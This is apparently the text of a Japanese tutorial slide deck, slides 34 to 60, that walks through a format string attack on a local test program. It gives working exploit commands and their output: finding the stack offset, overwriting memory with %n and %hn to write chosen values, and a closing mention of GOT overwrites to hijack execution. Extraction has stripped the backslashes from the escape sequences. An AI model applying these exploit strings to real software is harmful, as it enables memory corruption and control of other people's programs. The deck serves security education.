  • 34. Format string Attack ● まずは出力した文字が格納される位置を調べる – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,0 0001e3c,ffffd164,ffffcf0c,00000000,00000001,414141 41,3830252c,30252c78,252c7838,2c783830,7838302 5,3830252c,30252c78,252c7838,2c783830 val'splace 0x804a02c :0 – 11番目
  • 35. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x
  • 36. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0
  • 37. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n
  • 38. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!!
  • 39. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!! – 書き換えに成功している – (x2cxa0x04x08,の5文字->5)
  • 40. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x
  • 41. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!!
  • 42. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!! – 出力するバイト数を調節することで任意の値にで きる
  • 43. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする
  • 44. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない
  • 45. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない ● メモリの構造を利用する
  • 46. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x
  • 47. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!!
  • 48. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!! – 1280(0x0500) – 桁位置を指定することができる
  • 49. Format string Attack ● ただし%nは8バイト書きこむので上位ビット が潰れてしまう
  • 50. Format string Attack ● ただし%nは8バイト書きこむので上位ビット が潰れてしまう – %hn(ニブル)を使う – 2バイト分書きこむ
  • 51. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn
  • 52. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40
  • 53. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn
  • 54. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn →0x804a02c:0x4040
  • 55. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn 59-4
  • 56. Format string Attack ● 0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
  • 57. Format string Attack ● 0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
  • 58. Format string Attack ● 0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい
  • 59. Format string Attack ● 0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい ● %255x(0xff)出力する({現在の値}-1になる) – うまく計算する必要がある
  • 60. Format string Attack ● 書き換え可能なアドレスを操ることができる – すごい – 実際には呼び出される関数のアドレスに任意の値 を代入して予期せぬ動作を起こさせる – GOT(global offset table)の書き換えなど